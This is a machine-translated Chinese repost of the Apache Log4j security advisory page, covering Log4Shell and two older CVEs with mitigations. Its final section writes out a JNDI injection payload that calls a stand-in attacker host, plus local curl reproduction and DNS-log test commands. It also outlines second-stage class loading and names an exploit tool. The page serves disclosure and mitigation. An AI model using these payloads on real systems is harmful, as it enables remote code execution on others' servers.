Apache Log4j 安全漏洞

这个固定在Apache中的Log4j 2.每个漏洞的发布版本页面列出了所有安全漏洞被赋予了安全的影响评价由Apache的日志安全团队。请注意，此评级可能因平台而异。我们还列出了已知受该缺陷影响的 Apache Log4j 版本，并在未验证缺陷的情况下列出带有问号的版本。

注意：本页末尾列出了不是 Log4j 漏洞但针对 Log4j 错误报告或 Log4j 提供解决方法的漏洞。

请注意，Log4j 1.x 已结束生命周期，不再受支持。2015 年 8 月之后针对 Log4j 1.x 报告的漏洞未经过检查，也不会修复。用户应该升级到 Log4j 2 以获得安全修复。

请注意，从未提供二进制补丁。如果您需要应用源代码补丁，请使用正在使用的 Apache Log4j 版本的构建说明。对于 Log4j 2，这是 BUILDING.md。该文件可以在源分发的根子目录中找到。

如果需要有关构建或配置 Log4j 的帮助或按照说明缓解此处列出的已知漏洞的其他帮助，请将问题发送到公共 Log4j 用户邮件列表

如果遇到未列出的安全漏洞或其他对安全有影响的意外行为，或者这里的描述不完整，请私下向Log4j 安全团队报告。

已在 Log4j 2.15.0 中修复

CVE-2021-44228：Apache Log4j2 JNDI 功能无法抵御攻击者控制的LDAP 和其他 JNDI 相关端点。

严重性：严重

基础 CVSS 分数：10.0 CVSS：3.0 / AV：N/ AC：L / PR：N / UI：N / S：C / C：H / I：H / A：H

受影响的版本：从2.0-beta9 到 2.14.1 的所有版本

描述：Apache Log4j2<=2.14.1 在配置、日志消息和参数中使用的 JNDI 功能不能防止攻击者控制的 LDAP 和其他 JNDI 相关端点。当启用消息查找替换时，可以控制日志消息或日志消息参数的攻击者可以执行从 LDAP 服务器加载的任意代码。从 log4j 2.15.0 开始，默认情况下已禁用此行为。

缓解：在释放> =2.10，这种行为可以通过设定任一减轻系统属性log4j2.formatMsgNoLookups或环境变量LOG4J_FORMAT_MSG_NO_LOOKUPS来true。对于从2.0到beta9 2.10.0版本中，缓解是去除JndiLookup从类路径类：zip -q -d log4j-core-*.jarorg/apache/logging/log4j/core/lookup/JndiLookup.class。

Credit: 这个问题是由阿里云安全团队的陈兆军发现的。

已在 Log4j 2.13.2 中修复

CVE-2020-9488：Apache Log4j SMTP appender 中主机不匹配的证书验证不正确。

严重性：低

CVSS 基础分数：3.7（低）CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

受影响的版本：从2.0-alpha1 到 2.13.1 的所有版本

描述：Log4j2 SMTPappender 中主机不匹配的证书验证不正确。这可能允许 SMTPS 连接被中间人攻击拦截，这可能会泄漏通过该附加程序发送的任何日志消息。

报告的问题是由SslConfiguration 中的错误引起的。Log4j 配置中使用 SslConfiguration 的任何元素也受此问题影响。这包括HttpAppender、SocketAppender 和SyslogAppender。通过系统属性配置的 SslConfiguration 的使用不受影响。

缓解措施：用户应该升级到Apache Log4j 2.13.2，它通过为 SMTPS 邮件会话配置 SSL 设置来修复 LOG4J2-2819 中的这个问题。作为以前版本的变通方法，用户可以将 mail.smtp.ssl.checkserveridentity 系统属性设置为true，以便为所有 SMTPS 邮件会话启用 SMTPS 主机名验证。

信用：这个问题是由 PeterStöckli 发现的。

已在 Log4j 2.8.2 中修复

CVE-2017-5645：Apache Log4j 套接字接收器反序列化漏洞。

严重程度：中等

CVSS 基础分数：7.5（AV：N / AC：L / Au：N / C：P / I：P / A：P）

受影响的版本：从2.0-alpha1 到 2.8.1 的所有版本

描述：当使用 TCP 套接字服务器或 UDP 套接字服务器从另一个应用程序接收序列化日志事件时，可以发送特制的二进制负载，反序列化后可以执行任意代码。

缓解措施：Java 7+ 用户应迁移到 2.8.2 版或避免使用套接字服务器类。Java 6 用户应避免使用 TCP 或 UDP 套接字服务器类，或者他们可以从 2.8.2 手动向后移植安全修复程序：https://github.com/apache/logging-log4j2/commit/5dcc192

信用：这个问题是由Telstra 红队的 Marcio Almeida de Macedo 发现的

参考资料：https://issues.apache.org/jira/browse/LOG4J2-1863

Apache Log4j 的安全影响级别总结

Apache Log4j 安全团队对影响 Log4j 的每个安全漏洞的影响进行评级。为了保持一致，我们选择了与其他主要供应商使用的评分标准非常相似的评分标准。基本上，评级系统的目标是回答“我应该对这个漏洞有多担心？”的问题。

请注意，为每个缺陷选择的评级是所有架构中可能出现的最坏情况。要确定特定漏洞对您自己系统的确切影响，您仍需要阅读安全公告以了解有关该缺陷的更多信息。

我们使用以下描述来决定对每个漏洞的影响评级：

危急

被评为严重影响的漏洞可能会被远程攻击者利用来让 Log4j 执行任意代码（以服务器运行的用户身份或 root 身份）。这些是蠕虫可以自动利用的漏洞类型。

重要的

评级为重要影响的漏洞是一种可能导致数据或服务器可用性受损的漏洞。对于 Log4j，这包括允许轻松远程拒绝服务（与攻击不成比例或具有持久后果的事情）、访问上下文根之外的任意文件或访问本应通过其他方式阻止的文件的问题限制或认证。

缓和

如果有显着的缓解措施可以减少问题的影响，则漏洞可能被评为中等。这可能是因为该缺陷不影响可能的配置，或者它是一个没有被广泛使用的配置。

低的

所有其他安全漏洞都被归类为低影响。此评级用于被认为极难利用的问题，或者利用漏洞造成的后果最小的问题。

如何利用工程

利用需求

具有易受攻击log4j版本的服务器（如上所列），
具有允许攻击者发送漏洞利用字符串的任何协议（HTTP、TCP 等）的端点，
以及从该请求中注销字符串的日志语句。

例如漏洞的代码

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.io.*;
import java.sql.SQLException;
import java.util.*;
public class VulnerableLog4jExampleHandler implements HttpHandler {
  static Logger log = LogManager.getLogger(VulnerableLog4jExampleHandler.class.getName());
  /**
   * A simple HTTP endpoint that reads the request's User Agent and logs it back.
   * This is basically pseudo-code to explain the vulnerability, and not a full example.
   * @param he HTTP Request Object
   */
  public void handle(HttpExchange he) throws IOException {
    String userAgent = he.getRequestHeader("user-agent");
    // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
    // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
    log.info("Request User Agent:{}", userAgent);
    String response = "<h1>Hello There, " + userAgent + "!</h1>";
    he.sendResponseHeaders(200, response.length());
    OutputStream os = he.getResponseBody();
    os.write(response.getBytes());
    os.close();
  }
}

本地再现

如果想本地复现这个漏洞，可以参考christophetd的漏洞app。

在终端运行中：

docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

在另一个：

curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://127.0.0.1/a}'

日志应包含一条错误消息，表明已尝试进行远程查找但失败：

2021-12-10 17:14:56,207 http-nio-8080-exec-1 WARN Error looking up JNDI resource [ldap://127.0.0.1/a]. javax.naming.CommunicationException: 127.0.0.1:389 [Root exception is java.net.ConnectException: Connection refused (Connection refused)]

利用步骤

来自用户的数据被发送到服务器（通过任何协议），
服务器记录请求中的数据，包含恶意负载：（${jndi:ldap://attacker.com/a}其中attacker.com是攻击者控制的服务器），
该log4j漏洞由该有效载荷触发，服务器attacker.com通过“ Java 命名和目录接口”（JNDI）发出请求，
此响应包含http://second-stage.attacker.com/Exploit.class注入服务器进程的远程 Java 类文件（例如）的路径，
此注入的有效载荷触发第二阶段，并允许攻击者执行任意代码。

由于此类 Java 漏洞非常常见，安全研究人员已经创建了工具来轻松利用它们。该marshalsec项目是一个说明产生漏洞的有效载荷，可用于针对该漏洞的一处。您可以参考此恶意 LDAP 服务器以获取漏洞利用示例。

如何识别，如果你的服务器是脆弱的。

使用 DNS 记录器（例如dnslog.cn），您可以生成一个域名并在您的测试负载中使用它：

curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://xxx.dnslog.cn/a}'

刷新页面将显示 DNS 查询，这些查询标识了触发漏洞的主机。

来源：https://logging.apache.org/

本站仅提供存储服务，所有内容均由用户发布，如发现有害或侵权内容，请点击举报。